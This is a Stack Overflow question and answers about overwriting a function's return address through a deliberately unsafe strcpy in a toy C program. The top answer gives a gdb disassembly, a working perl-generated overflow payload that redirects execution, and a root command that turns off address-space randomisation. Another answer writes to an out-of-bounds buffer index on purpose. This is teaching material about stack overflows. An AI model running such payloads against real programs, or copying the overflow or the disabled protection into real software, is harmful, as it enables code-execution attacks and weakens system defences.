7

I just wrote a C Code which is below :

#include<stdio.h>
#include<string.h>


void func(char *str)
{
        char buffer[24];
        int *ret;
        strcpy(buffer,str);
}

int main(int argc,char **argv)
{
        int x;
        x=0;
        func(argv[1]);
        x=1;
        printf("\nx is 1\n");
        printf("\nx is 0\n\n");
}

Can please suggest me as to how to skip the line printf("\nx is 1\n");. Earlier the clue which I got was to modify ret variable which is the return address of the function func.

Can you suggest me as to how to change the return address in the above program so that printf("\nx is 1\n"); is skipped.

I have posted this question because I don't know how to change the return address.

It would be great if you help me out.

Thanks

jschmier
  • 15,458
  • 6
  • 54
  • 72
Santosh V M
  • 1,541
  • 7
  • 25
  • 41
  • 1
    Danger! That is probably not what you want to do. It will cause you WAY too many problems. – Talljoe Apr 04 '11 at 18:38
  • 4
    Your code makes no sense ... what are you trying to do? – Brian Roach Apr 04 '11 at 18:39
  • 1
    Outside of malicious code, no one needs to do what you're asking. Please come up with a different design. –  Apr 04 '11 at 18:44
  • 2
    It's not clear what you want to do. Do you want to have a separate program to do this? Are we talking about exploiting software? Shellcode? This is so dangerous `strcpy(buffer,str);` ` – karlphillip Apr 04 '11 at 18:44
  • 1
    You're basically trying to accomplish something like a 'delayed goto' - good luck. And enjoy all the forced crashes you're about to generate while trying to make this work. – Marc B Apr 04 '11 at 18:45
  • Either you're a beginner, in that case look up `if` in a good beginners book, or you're trying to do something extremely clever. Unfortunately, extremely clever things are never, ever, clever in the long run. – Lindydancer Apr 04 '11 at 19:07
  • 2
    Are you trying to do something similar to [this](http://stackoverflow.com/questions/2543725/how-to-write-a-buffer-overflow-exploit-in-gcc-windows-xp-x86/2548562#2548562)? – jschmier Apr 04 '11 at 19:08
  • @Santosh Was this question answered? – karlphillip Dec 24 '13 at 13:13

3 Answers3

17

For what I understand, you want the code to execute the instruction x=1; and then jump over the next printf so it will only print x is 0. There's no way to do that.

However, what could be done is making func() erase it's own return address so the code would jump straight to printf("\nx is 0\n\n");. This means jumping over x=1; too.

This is only possible because you are sending to func() whatever is passed through the cmd-line and copying directly to a fixed size buffer. If the string you are trying to copy is bigger then the allocated buffer, you'll probably end up corrupting the stack, and potentially overwriting the function's return address.

There are great books like this one on the subject, and I recommend you to read them.

Loading your application on gdb and disassembling the main function, you'll see something similar to this:

(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>:    lea    0x4(%esp),%ecx
0x08048412 <main+4>:    and    $0xfffffff0,%esp
0x08048415 <main+7>:    pushl  -0x4(%ecx)
0x08048418 <main+10>:   push   %ebp
0x08048419 <main+11>:   mov    %esp,%ebp
0x0804841b <main+13>:   push   %ecx
0x0804841c <main+14>:   sub    $0x24,%esp
0x0804841f <main+17>:   movl   $0x0,-0x8(%ebp)
0x08048426 <main+24>:   mov    0x4(%ecx),%eax
0x08048429 <main+27>:   add    $0x4,%eax
0x0804842c <main+30>:   mov    (%eax),%eax
0x0804842e <main+32>:   mov    %eax,(%esp)
0x08048431 <main+35>:   call   0x80483f4 <func>     // obvious call to func
0x08048436 <main+40>:   movl   $0x1,-0x8(%ebp)      // x = 1;
0x0804843d <main+47>:   movl   $0x8048520,(%esp)    // pushing "x is 1" to the stack
0x08048444 <main+54>:   call   0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>:   movl   $0x8048528,(%esp)    // pushing "x is 0" to the stack
0x08048450 <main+66>:   call   0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>:   add    $0x24,%esp
0x08048458 <main+74>:   pop    %ecx
0x08048459 <main+75>:   pop    %ebp
0x0804845a <main+76>:   lea    -0x4(%ecx),%esp
0x0804845d <main+79>:   ret    
End of assembler dump.

It's important that you notice that the preparation for the 2nd printf call starts at address 0x08048449. In order to override the original return address of func() and make it jump to 0x08048449, you'll have to write beyond the capacity of char buffer[24];. On this test I used char buffer[6]; for simplicity purposes.

While in gdb, if I execute:

run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

this will successfully override the buffer and replace the address of return with the address I want it to jump to:

Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

x is 0


Program exited with code 011.
(gdb)

I will not explain every step of the way because others have done it so much better already, but if you want to reproduce this behavior directly from the cmd-line, you could execute the following:

./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

Keep in mind that the memory addresses that gdb reports to you will probably be different than the ones I got.

Note: for this technique to work you'll have to disable a kernel protection first. But just if the command below reports anything different from 0:

cat /proc/sys/kernel/randomize_va_space

to disable it you'll need superuser access:

echo 0 > /proc/sys/kernel/randomize_va_space
karlphillip
  • 92,053
  • 36
  • 243
  • 426
  • 7
    Can you explain how you wrote the following: print "123456AAAAAAAA"x1,"\x49\x84\x04\x08" – Amit Apr 19 '14 at 10:09
2

The return address from func is on the Stack, right near its local variables (one of them is buffer). If you want to overwrite the return address, you have to write past the end of the array (possibly to buffer[24...27] but i am probably mistaken - could be buffer[28...31] or even buffer[24...31] if you have a 64-bit system). I suggest using a debugger to find out the exact addresses.

BTW get rid of the ret variable - you accomplish nothing by having it around, and it might confuse your calculations.

Note that this "buffer overrun exploit" is a bit hard to debug because strcpy stops copying stuff when it encounters a zero byte, and the address you want to write to the stack probably contains such a byte. It will be easier to do it like this:

void func(char *str)
{
    char buffer[24];
    sscanf(str, "%x", &buffer[24]); // replace the 24 by 28, 32 or whatever is right
}

And give the address on the command-line as a hexadecimal string. This makes it a bit more clear what you're trying to do, and easier to debug.

anatolyg
  • 26,506
  • 9
  • 60
  • 134
-4

This is not possible - it would be possible, if you know the compiler and how it works, the generated assembler code, the used libraries, the architecture, the cpu, the system environment and the lotto numbers of tomorrow - and if you had this knowledge, you would be clever enough not to ask. The only scenario where it would make sense is when someone tries some kind of attack, and do not expect that someone is willing to help you with it.

flolo
  • 15,148
  • 4
  • 32
  • 57
  • 5
    I think it's important to understand how buffer overruns work, especially if you program in C, so providing help is important! – anatolyg Apr 04 '11 at 19:20
  • 3
    I had to look it up, but it seems like the general consensus is that black hat questions are okay. It's impossible to establish intent, so just assume security exploit questions have defensive purposes behind them. See: [here](http://meta.stackexchange.com/q/25448) and [here](http://meta.stackexchange.com/q/12621). – jschmier Apr 04 '11 at 19:24
  • @anatolyg: Maybe, maybe not this results in buffer overrun, this depends heavy on the used architecture - imagine Harvard architectures or new stack smash protection mechanism, compiler could inline it (or omptimize it complete away), so much possiblites, so sensless question. In my eyes when he want to know something about buffer overruns he should ask therefor. – flolo Apr 04 '11 at 19:27
  • Some us might be trying to understand how this works in order to actually fix bugs. Not everyone is malicious. – Brian White May 17 '17 at 17:54